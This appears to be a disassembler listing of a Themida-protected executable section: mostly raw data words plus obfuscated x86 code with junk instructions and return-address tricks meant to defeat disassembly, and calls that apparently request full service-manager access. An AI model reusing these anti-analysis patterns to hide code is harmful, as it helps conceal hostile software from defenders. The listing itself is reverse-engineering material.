dd 4585h, 927BB900h, 0B58D10BFh, 616FE54h, 5E8h, 0EE5A2900h
dd 810FD868h, 2, 8D5FCA8Bh, 16A99A85h, 88D9B906h, 0D0FF4990h
dd 1C3D8589h, 6A0614h, 2A798589h, 95FF0614h, 6142EF9h
dd 1A21B589h, 85890614h, 6170448h, 294D8D89h, 860F0614h
dd 6, 4831EF81h, 6A030Ch, 94E5B966h, 440858Dh, 6A0617h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0F120F9C3h, 7B3A095Fh, 6A508627h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0A497C352h
dd 0FBBA5370h, 89F82C55h, 140B798Dh, 0E8046A06h, 0Eh, 0CFE07DEEh
dd 8E1FE852h, 0B6B44FF0h, 0BE86BA8h, 84000000h, 0B1668E7Dh
dd 935790DCh, 858916E8h, 61429E9h, 858D5A5Fh, 6142421h
dd 0DE950h, 3A2A0000h, 3A66391Eh, 0FC5D66A2h, 6A9F3790h
dd 66006A00h, 9D29D68Bh, 6142615h, 8960016Ah, 1400C195h
dd 0D1B58906h, 6106140Bh, 448B5FFh, 14E90617h, 2E000000h
dd 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0FF334521h
dd 140B6195h, 418D0B06h, 0E9061411h, 1B7Dh, 18E1BD8Bh
dd 0C08B0614h, 2A5BD89h, 0BD830614h, 61430B1h, 83097500h
dd 141AE1BDh, 19740006h, 0C08B5350h, 7D2B8h, 49858900h
dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah
dd 53501774h, 7D2B8h, 49858900h, 8D06141Ah, 16B4299Dh
dd 5BD3FF06h, 0B6BA6658h, 0D1BD89D8h, 66061404h, 1062C981h
dd 0BD8BC08Bh, 614052Dh, 12CD85C7h, 10614h, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 8B8F54C3h, 1412B1BDh, 0E7B86806h, 0B5FFCEE4h, 6143481h
dd 3B13858Dh, 0D0FF0614h, 3A58589h, 858D0614h, 61706A4h
dd 61858D50h, 50061709h, 168h, 0A595FF80h, 0B061403h, 0C70A75C0h
dd 14033985h, 106h, 0DBD46800h, 0B5FFC005h, 6143481h, 3B13858Dh
dd 0D0FF0614h, 2ED8589h
dd 858D0614h, 616F8F1h, 45B5FF50h, 0FF061411h, 141D4595h
dd 74C00B06h, 8DD88B0Bh, 1708A485h, 0D3FF5006h, 8A4858Dh
dd 83660617h, 0A750938h, 14CD85C7h, 10614h, 95FF0000h
dd 6140C85h, 0FF25h, 5F88300h, 85C70A73h, 6141D79h, 1
dd 2049B531h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 4CAE2FC3h, 0BDCCC21Fh, 0F2810FBFh
dd 64DBB2DCh, 0B6CF8B66h, 0B3BD8058h, 61704h, 2D840Fh
dd 95030000h, 6143131h, 6BDB589h, 0BD830614h, 617095Dh
dd 1B840F00h, 60000000h, 8E9h, 6673B000h, 826B61CCh, 66BCBB39h
dd 0E9610AE3h, 19C1h, 0BD83D78Ah, 61414CDh, 0B5850F00h
dd 8D000000h, 17047D85h, 10E806h, 16A30000h, 4554D1D3h
dd 0F56F5CC8h, 25D00935h, 0F566D20h, 82h, 665A5A00h, 741CE181h
dd 65BD3150h, 6A06142Ah, 0B5016001h, 6142CC9h, 85895061h
dd 61418FDh, 8B006A5Ah, 1418E1BDh, 8A006A06h, 7595FFF1h
dd 89061430h, 140565BDh, 0A7858906h, 66061704h, 9DE4EA81h
dd 9523FF6Ah, 6140BE1h, 4A7B5FFh, 6A0617h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 929381C3h
dd 0DD5ABECBh, 0F348099h, 78Fh, 81665200h, 5AF66EF7h, 15859D01h
dd 95FF0614h, 6142B19h, 0F983BA66h, 0F8B8858Dh, 0BD8B0616h
dd 6140395h, 619B589h, 0FF500614h, 142F9595h, 8902B106h
dd 16F94285h, 0FEBF0F06h, 0F8C5858Dh, 6A0616h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0FB042C3h, 0FF50D6B7h, 16F942B5h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 4595FF52h
dd 8B06141Dh, 143215BDh, 0D5858906h, 8B06140Bh, 1419AD95h
dd 33858D06h, 0F90616F9h, 1961958Bh, 81500614h, 6A5C12D2h
dd 42B5FF75h, 6A0616F9h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 438DC352h, 95FF5C7Fh
dd 6141D45h, 0C398509h, 0CE80614h, 36000000h, 49BE58FAh
dd 0EE21804Ch, 0E9A94A45h, 11h, 66832669h, 0C498DFDCh
dd 0EB7C1F66h, 0BDAECEADh, 85895959h, 616F956h, 20CDBD29h
dd 858D0614h, 616F912h, 500FE280h, 0B5FFCF8Ah, 616F942h
dd 0C4D28166h, 89BD898Dh, 0FF06140Eh, 141D4595h, 11E906h
dd 0A67C0000h, 0BD3E25AEh, 5166AEA9h, 84BF0C27h, 0E937CE54h
dd 14h, 4DB56F9Ch, 36F52603h, 2A589678h, 0A2100A1Ah, 40A9F794h
dd 0F94E8589h, 66B10616h, 0F905858Dh, 0DEB10616h, 3DB96650h
dd 950951B2h, 6140F71h, 42B5FF5Ah, 0E80616F9h, 0Ch, 9F331EB4h
dd 0BE602FB0h, 0A878C801h, 0F18D8Bh, 0FF5F0614h, 141D4595h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 29768C7Eh, 30BBD40h, 1410A995h, 52858906h
dd 0F0616F9h, 8B66CBB7h, 20858DCFh, 660616F9h, 502CDEBFh
dd 165DB589h, 0B5FF0614h, 616F942h, 1625950Bh, 95FF0614h
dd 6141D45h, 8589CF8Bh, 61402A9h, 0F8D4858Dh, 6A0616h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 251DE8C3h, 1E2A74EBh, 5E87829h, 1F000000h, 0C48BF716h
dd 0CE8h, 93C4B300h, 0BDB3EE27h, 2D60D44Ch, 0A98D0373h
dd 59061408h, 0A5BD895Fh, 50061421h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 0E5C35545h, 7382D57Eh, 27BD04B8h
dd 30919531h, 0B5FF0614h, 616F942h, 18CDBD89h, 95FF0614h
dd 6141D45h, 152D8D33h, 85890614h, 616F946h, 1CD8D8Bh
dd 0BD290614h, 6142201h, 0F8E3858Dh, 0BA660616h, 8B5008F4h
dd 141951BDh, 42B5FF06h, 0E90616F9h, 6, 4B6757D4h, 95FF48ECh
dd 6141D45h, 0E042C2BFh, 13E914h, 5A3A0000h, 35D7D491h
dd 0D0945573h, 316F3806h, 0E075D33Ah, 4A858957h, 8A0616F9h
dd 10468ECh, 0EAB50000h, 0F9DA858Dh, 0B5890616h, 6140021h
dd 8D62B550h, 16FADE85h, 50D38B06h, 0FFFA8B66h, 142F5595h
dd 0E9606006h, 0Dh, 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 7E973h
dd 32960000h, 3DDAC975h, 0BD09611Bh, 614152Dh, 0FC08561h
dd 685h, 0DD958900h, 80061410h, 1704B3BDh, 850F0006h, 2Ch
dd 23A5BD0Bh, 0A2E90614h, 6A000015h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0B9E5C350h
dd 608A9F22h, 14CDBD83h, 0F000614h, 2185h, 299D8900h, 83061423h
dd 17095DBDh, 840F0006h, 58h, 58D8B50h, 5906142Fh, 0F658D8Bh
dd 858D0614h, 616F977h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 0C7C35545h, 7E0EA353h, 0E959AFC8h, 29959589h
dd 1EE90614h, 81000015h, 0A33634CFh, 0B2BA6627h, 33E98Eh
dd 85890000h, 6142F69h, 0F962858Dh, 6A0616h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A20C5CC3h
dd 71DF4B38h, 0FB8B6692h, 6A50F5h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 3E4C1FC3h, 0F9DA858Dh
dd 8D230616h, 61424D5h, 5E950h, 8C450000h, 836057E7h, 1414CDBDh
dd 840F0006h, 67h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0E6C35040h, 9D5BD181h, 858D77CBh, 616FB00h
dd 1A8C0Fh, 8D0F0000h, 14h, 0FE9h, 0E8110800h, 693B5CD4h
dd 0CDAE9E4Bh
db 9Fh, 6Ah, 8Eh
off_57AEE7 dd offset dword_445750+91C5h ; DATA XREF: Themida_:00548FE0o
; Themida_:00549AB0o
align 4
dd 12E900h, 0FB250000h, 42DAACCEh, 6CEA4C2Bh, 13D580Fh
dd 0FCD4C8CDh, 8DD2B70Fh, 16FAE985h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 99283625h
dd 19E5F9E5h, 830F504Eh, 5, 0C024D9B9h, 38858D0Bh, 0F0616FBh
dd 8950C8BFh, 141CB58Dh, 995FF06h, 66061415h, 831619B9h
dd 6A10C4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 393B0CC3h, 76C12A19h, 10E8D4h, 0F3150000h
dd 0ABFBB08Bh, 0DC562DD5h, 4764756Fh, 0AE9663Dh, 99000000h
dd 0E96CACE8h, 0F60E0B10h, 0C08B5F39h, 9131BF66h, 30B1BD83h
dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 0D3B8C08Bh
dd 89000007h, 141A4985h, 3A9D8D06h, 0FF0616B7h, 83585BD3h
dd 141AE1BDh, 17740006h, 0D3B85350h, 89000007h, 141A4985h
dd 299D8D06h, 0FF0616B4h, 0F585BD3h, 9E9F8B7h, 3E000000h
dd 0E75DB30Eh, 1528929Eh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0C8C283C3h, 29899D89h
dd 0BD810614h, 616F962h, 6165726Fh, 0B1840Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 89118BC3h, 4798F8E6h, 958B1651h, 6140619h, 1ACDBD31h
dd 858D0614h, 616F9DAh, 17858D50h, 500616FBh, 0FB38858Dh
dd 0FF500616h, 14150995h, 0CC48306h, 1A5985C6h, 68440614h
dd 96A3184Fh, 1145B5FFh, 858D0614h, 6143B13h, 0D88BD0FFh
dd 0FB38858Dh, 0FF500616h, 62858DD3h, 500616F9h, 0F9DA858Dh
dd 83500616h, 1414CDBDh, 8740006h, 0FB00858Dh, 6EB0616h
dd 0FAE9858Dh, 8D500616h, 16FB3885h, 95FF5006h, 6141509h
dd 6610C483h, 0AADFDF81h, 0FFCBBF0Fh, 140C8595h, 0F88B6606h
dd 0FF25h, 0ACD68000h, 0F05F883h, 5D83h, 0CBBF0F00h, 1D7985C7h
dd 10614h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 6E242EC3h, 96858DF9h, 800616F9h
dd 0B589DDF6h, 614221Dh, 74E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD83409Eh
dd 61414CDh, 34840F00h, 0B5000000h, 0C1858D3Eh, 0F0616F9h
dd 888h, 880F5700h, 0
; ---------------------------------------------------------------------------
pop ecx
jmp loc_57B1B9
; ---------------------------------------------------------------------------
dw 8A0Fh
dd 13h, 0EE9h, 96BA1400h, 0C98CA7AAh, 5048C203h, 8DCB0BFBh
dd 16F9A385h, 4D852906h, 52061404h, 11B58953h, 59061414h
; ---------------------------------------------------------------------------
pop edx
loc_57B1B9: ; CODE XREF: Themida_:0057B185j
mov [ebp+616F9D6h], eax
push 0
push ebp
call sub_57B1CA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B1CA proc near ; CODE XREF: Themida_:0057B1C2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_57B1CA endp
; ---------------------------------------------------------------------------
mov dl, [ecx-2E6A745Ch]
add [esi+eax], dl
cmp dword ptr [ebp+61414CDh], 0
jnz loc_57B218
mov di, si
cmp dword ptr [ebp+617095Dh], 0
jz loc_57B22A
jmp loc_57B218
; ---------------------------------------------------------------------------
db 0F8h, 60h, 0E1h
dd 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 0D249EC7Ah
; ---------------------------------------------------------------------------
loc_57B218: ; CODE XREF: Themida_:0057B1EAj
; Themida_:0057B200j
jmp loc_57C339
; ---------------------------------------------------------------------------
pusha
add cx, 0EA8Fh
mov [ebp+61414D1h], ebx
popa
loc_57B22A: ; CODE XREF: Themida_:0057B1FAj
jmp loc_57B732
; ---------------------------------------------------------------------------
xor cx, 0B4F6h
mov [ebp+6140B79h], edx
mov eax, eax
jmp loc_57B253
; ---------------------------------------------------------------------------
db 3Bh, 68h, 9Fh
dd 0DA71975Fh, 66527555h, 314EE7CDh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 17h, 3Ch
; ---------------------------------------------------------------------------
loc_57B253: ; CODE XREF: Themida_:0057B23Cj
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57B265
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57B27E
loc_57B265: ; CODE XREF: Themida_:0057B25Aj
push eax
push ebx
mov eax, eax
mov eax, 7D4h
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_57B27E: ; CODE XREF: Themida_:0057B263j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57B29E
push eax
push ebx
mov eax, 7D4h
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_57B29E: ; CODE XREF: Themida_:0057B285j
mov edi, eax
mov [ebp+6142C35h], esi
mov eax, eax
jmp loc_57B2C0
; ---------------------------------------------------------------------------
db 1Eh, 15h, 68h
dd 0D29C04E9h, 0A68EBD55h, 0AAF08318h, 7EEED8B1h
; ---------------------------------------------------------------------------
loc_57B2C0: ; CODE XREF: Themida_:0057B2A8j
push 0F003Fh
call sub_57B2DC
xor eax, 0C9ADBCE1h
and al, [edi+ebx*2]
and cl, dl
; ---------------------------------------------------------------------------
dd 31B322FEh, 9ECFDC36h
; =============== S U B R O U T I N E =======================================
sub_57B2DC proc near ; CODE XREF: Themida_:0057B2C5p
; FUNCTION CHUNK AT 0057B32F SIZE 00000021 BYTES
mov edi, 40D953B3h
pop edx
push 0
jz loc_57B2EE
mov cx, 0C5C6h
loc_57B2EE: ; CODE XREF: sub_57B2DC+8j
push 0
cmc
call dword ptr [ebp+6140BD5h]
or [ebp+6140B35h], eax
jmp loc_57B308
; ---------------------------------------------------------------------------
dw 9BABh
dd 8DB13963h
; ---------------------------------------------------------------------------
loc_57B308: ; CODE XREF: sub_57B2DC+21j
test eax, eax
jnz loc_57B32F
push 0
push edx
call sub_57B31B
and [edx-3Dh], bl
sub_57B2DC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57B31B proc near ; CODE XREF: sub_57B2DC+37p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_57B31B endp
; ---------------------------------------------------------------------------
db 6Eh
db 0Bh, 9Ch, 6Bh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57B2DC
loc_57B32F: ; CODE XREF: sub_57B2DC+2Ej
mov [ebp+616F95Ah], eax
mov edi, [ebp+61416DDh]
push 0
or [ebp+6142C29h], edi
push 0
push 0
push eax
call sub_57B350
and [eax-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_57B2DC
; =============== S U B R O U T I N E =======================================
sub_57B350 proc near ; CODE XREF: sub_57B2DC+6Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57B350 endp
; ---------------------------------------------------------------------------
lodsb
mov [ebx+14319D8Dh], ecx
push es
push 0
push 0
push esi
call sub_57B375
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B375 proc near ; CODE XREF: Themida_:0057B36Dp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_57B375 endp
; ---------------------------------------------------------------------------
db 0CFh, 5, 89h
; ---------------------------------------------------------------------------
push edx
push edx
lea ecx, [ecx+1414A5BDh]
push es
push 0
mov [ebp+61421BDh], esi
push 0
push 0
push ebx
call sub_57B3A6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B3A6 proc near ; CODE XREF: Themida_:0057B39Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_57B3A6 endp
; ---------------------------------------------------------------------------
stosb
inc byte ptr [edx]
add bh, 0F7h
add bh, [edi+56h]
sub dx, 0CD59h
pop edx
lea eax, [ebp+616FB38h]
push 0
push ecx
call sub_57B3D6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B3D6 proc near ; CODE XREF: Themida_:0057B3CEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_57B3D6 endp
; ---------------------------------------------------------------------------
dw 4B76h
dd 0BA6050EDh, 65D330DAh, 13658589h, 6A610614h, 81958B01h
dd 6A061419h, 890F6001h, 6, 0D298D8Bh, 0BD890614h, 61431F9h
dd 6AD78B61h, 0ADBD8B01h, 68061410h, 0F01FFh, 0D21ABA66h
dd 14CDBD83h, 0F000614h, 3784h, 0EE800h, 7FAC0000h, 57B6CD4Fh
dd 9145CF69h, 0C799DA2Dh, 0B7858D59h, 0F0616F9h, 680h
dd 0E18D8B00h, 8B061424h, 14265195h, 25E906h, 0BD8B0000h
dd 61404DDh, 0F98D858Dh, 0DE80616h, 0D1000000h, 978FDAD3h
dd 0E0623C61h, 0BD284ABAh, 33D9589h, 505A0614h, 312FBA66h
dd 0A5BD2950h, 0FF061400h, 16F95AB5h, 0FFF08A06h, 16F94695h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0FF1AC1E6h, 0A70CCFBAh, 9529FC4Eh, 614007Dh
dd 850FC085h, 2Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0C0C35343h, 88BF6426h, 0E9095820h, 72h
dd 1A91BD89h, 85890614h, 616F95Eh, 10E9h, 2135F00h, 8D55A283h
dd 0F599583Bh, 0BEB437BFh, 5EB5FF0Dh, 6A0616F9h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0BA96C351h, 0B9532820h, 3671960h, 2A995FFh, 958B0614h
dd 61412C9h, 850FC085h, 12h, 0C8F0Fh, 890F0000h, 6, 919BD8Bh
dd 106A0614h, 0F3CE680h, 0BD83F9B7h, 61414CDh, 41840F00h
dd 8D000000h, 16F9B785h, 6830F06h, 29000000h, 140825BDh
dd 36E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0E4FEC3h, 9B5958Bh, 0BD8B0614h
dd 6140FF5h, 0F98D858Dh, 9D010616h, 61408E9h, 6810F50h
dd 8B000000h, 14054D95h, 398D8906h, 0FF061410h, 16F95AB5h
dd 0CEBF0F06h, 0F95295FFh, 6A0616h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0BB2D78C3h
dd 9BEFCB69h, 2ABF6617h, 0FC08590h, 0C85h, 6850F00h, 89000000h
dd 14095585h, 5E858906h, 290616F9h, 142279B5h, 0E8006A06h
dd 14h, 0DF530368h, 0C3B3F489h, 0EE7123FAh, 6BE94995h
dd 48F7ADCAh, 0D4D8D8Bh, 6A5A0614h, 0D1B53100h, 0FF061412h
dd 16F95EB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 0DA9E1FF8h, 0A2E8DF6Ch, 950B353Ch
dd 6141475h, 0AE9h, 0CCFECC00h, 0E4047199h, 0FFA606A6h
dd 16F94A95h, 29850106h, 85061425h, 1F850FC0h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 68D3C350h, 0B5FFC687h, 616F95Eh, 2E658589h
dd 0CE90614h, 0B5000000h, 21B031C5h, 40C8F97Eh, 0FF753C62h
dd 1402A995h, 85D18B06h, 2B850FC0h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0BE46C353h, 73687FAFh, 0F1A4C69Eh, 2B39B529h
; ---------------------------------------------------------------------------
adc al, 6
loc_57B732: ; CODE XREF: Themida_:loc_57B22Aj
push 0
mov [ebp+614061Dh], edx
push 80h
push 0
push esi
call sub_57B74A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57B74A proc near ; CODE XREF: Themida_:0057B742p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 19h
inc esi
push esi
retn
sub_57B74A endp
; ---------------------------------------------------------------------------
dw 752Eh
dd 7A31ADDh, 6A036Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 3D816BC3h, 0BD8BD270h, 6142659h
dd 29006AFCh, 14141D95h, 1006A06h, 142281BDh, 0F98B6606h
dd 68h, 0BD958BC0h, 0FF061425h, 16F9D6B5h, 118D8B06h, 0FF061408h
dd 14068195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 27C63317h, 0FFF8832Bh, 4BE850Fh
dd 0BE90000h, 58000000h, 0C637716Ah, 16424733h, 85FF63FCh
dd 6170444h, 351DB501h, 0BD830614h, 6170444h, 0C1840F02h
dd 0E9000003h, 13h, 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh
dd 8D9B774Dh, 5B243B85h, 0C8B0F00h, 0E9000000h, 7, 0DA8DBAF5h
dd 0FFD97379h, 8DCAB1D0h, 5B1E8E85h, 0E2816600h, 0D0FFFEA1h
dd 5800Fh, 66600000h, 361F78Bh, 140CB18Dh, 8BC08B06h, 14199D95h
dd 0B1BD8306h, 61430h, 0BD830975h, 6141AE1h, 50197400h
dd 0B8C08B53h, 7D8h, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh
dd 1AE1BD83h, 74000614h, 0B8535017h, 7D8h, 1A498589h, 9D8D0614h
dd 616B429h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 12C35545h, 0CDB58992h, 8B061431h, 0A5BD8BC0h
dd 6806141Dh, 0F003Fh, 0A0D8D89h, 6A0614h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9BC35747h, 0E2D1D925h
dd 85958BF2h, 0F061431h, 583h, 8B665300h, 6A59FBh, 23959D89h
dd 95FF0614h, 6140BD5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 0C0C35343h, 0F970EA68h, 0B3A6CB3Ah, 1655BD8Bh
dd 0C0850614h, 535958Bh, 85890614h, 616F95Ah, 0C983F181h
dd 0FF681D62h, 6A000F01h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 258AC357h, 0D71224D2h
dd 0CDBD83B3h, 61414h, 3F840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9B4722C3h
dd 8C85110Fh, 30358589h, 858D0614h, 616F9B7h, 2C19BD23h
dd 12E90614h, 89000000h, 1426419Dh, 8D858D06h, 8B0616F9h
dd 141BA595h, 0B5FF5006h, 616F95Ah, 915958Bh, 95FF0614h
dd 616F952h, 20E59501h, 85890614h, 616F95Eh, 0FBB70F56h
dd 4585C759h, 61402h, 83000000h, 16F95EBDh, 840F0006h
dd 1A1h, 68D0Fh, 0B5890000h, 614109Dh, 0FC3C858Dh, 6A0616h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 97A8C3h, 8B50B673h, 1409E18Dh, 68B0F06h, 8B000000h
dd 14094195h, 66016A06h, 0B5FFCB8Bh, 616F95Eh, 223D958Bh
dd 0C2810614h
; ---------------------------------------------------------------------------
loc_57BA78: ; DATA XREF: Themida_:00549184o
and eax, 0FF747A60h
xchg eax, ebp
push esi
stc
push ss
push es
mov [ebp+61421F9h], ecx
push dword ptr [ebp+616F95Eh]
mov edi, [ebp+6142989h]
call dword ptr [ebp+61402A9h]
mov [ebp+61420FDh], ebx
push 0F01FFh
cmc
cmp dword ptr [ebp+61414CDh], 0
jz loc_57BAF1
xor [ebp+61424B9h], ebx
lea eax, [ebp+616F9B7h]
push 0
push ecx
call sub_57BACA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BACA proc near ; CODE XREF: Themida_:0057BAC2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_57BACA endp
; ---------------------------------------------------------------------------
dw 0F461h
dd 0ED60E2Bh, 891D649Bh, 1545B529h, 22E90614h, 0B5000000h
; ---------------------------------------------------------------------------
inc ebp
loc_57BAF1: ; CODE XREF: Themida_:0057BAADj
lea eax, [ebp+616F98Dh]
pusha
call sub_57BB06
sbb eax, 0A188E149h
mov al, 0B1h
out 10h, al
; =============== S U B R O U T I N E =======================================
sub_57BB06 proc near ; CODE XREF: Themida_:0057BAF8p
; FUNCTION CHUNK AT 0057BBCB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0057C15F SIZE 00000028 BYTES
movsx edi, di
pop edx
mov esi, [ebp+6141A5Dh]
popa
push eax
xor ecx, [ebp+6142165h]
jmp loc_57BB24
; ---------------------------------------------------------------------------
aaa
xor [edx-1938C60Fh], edx
loc_57BB24: ; CODE XREF: sub_57BB06+12j
push dword ptr [ebp+616F95Ah]
jmp loc_57BB41
; ---------------------------------------------------------------------------
db 0F4h
dd 0C9EB927h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh
db 2Eh
; ---------------------------------------------------------------------------
loc_57BB41: ; CODE XREF: sub_57BB06+24j
call dword ptr [ebp+616F952h]
and dx, 96EFh
mov [ebp+616F95Eh], eax
mov di, 0DB2Dh
push dword ptr [ebp+616F95Eh]
mov [ebp+6141A2Dh], ecx
call dword ptr [ebp+616F94Eh]
jmp loc_57BB7F
; ---------------------------------------------------------------------------
jmp short loc_57BBCB
; ---------------------------------------------------------------------------
mov al, ds:88C3C94Ch
retn
; ---------------------------------------------------------------------------
db 79h, 0EAh, 57h
dd 40DB82ADh
db 7Fh, 0B3h, 0FCh
; ---------------------------------------------------------------------------
loc_57BB7F: ; CODE XREF: sub_57BB06+62j
push dword ptr [ebp+616F95Eh]
sub [ebp+6140475h], edi
jle loc_57BB97
sbb edx, 4C8AD91Ah
loc_57BB97: ; CODE XREF: sub_57BB06+85j
call dword ptr [ebp+61402A9h]
push 0
push edi
call sub_57BBA8
and [edi-3Dh], bl
sub_57BB06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57BBA8 proc near ; CODE XREF: sub_57BB06+9Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_57BBA8 endp
; ---------------------------------------------------------------------------
inc ebx
jno short near ptr loc_57BBC5+4
jl short loc_57BC05
pop edx
mov dword ptr [ecx-8], 0FFF674E9h
loc_57BBC5: ; CODE XREF: Themida_:0057BBB9j
inc dword ptr [ecx+2489C8F2h]
; START OF FUNCTION CHUNK FOR sub_57BB06
loc_57BBCB: ; CODE XREF: sub_57BB06+67j
sub al, 0FFh
mov ch, 0A7h
add al, 17h
push es
sub [ebp+6140A49h], ebx
call dword ptr [ebp+6142361h]
jbe loc_57BBE7 ; CODE XREF: Themida_:loc_57BC05j
mov di, si
loc_57BBE7: ; CODE XREF: sub_57BB06+D8j
mov eax, [ebp+6142A5Dh]
push edi
mov [ebp+6140909h], edx
pop edi
mov cx, ax
jmp loc_57C15F
; END OF FUNCTION CHUNK FOR sub_57BB06
; ---------------------------------------------------------------------------
jmp loc_57BC0B
; ---------------------------------------------------------------------------
stosb
jge short loc_57BC49
loc_57BC05: ; CODE XREF: Themida_:0057BBBBj
jnp short near ptr loc_57BBDE+2
; ---------------------------------------------------------------------------
db 0DFh
db 0FFh, 0E9h, 0B1h
; ---------------------------------------------------------------------------
loc_57BC0B: ; CODE XREF: Themida_:0057BBFDj
lea esi, [ebp+616FC5Ch]
sub [ebp+6140EE5h], ecx
lea eax, [ebp+616A99Ah]
push 0
push ecx
call sub_57BC28
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BC28 proc near ; CODE XREF: Themida_:0057BC20p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_57BC28 endp
; ---------------------------------------------------------------------------
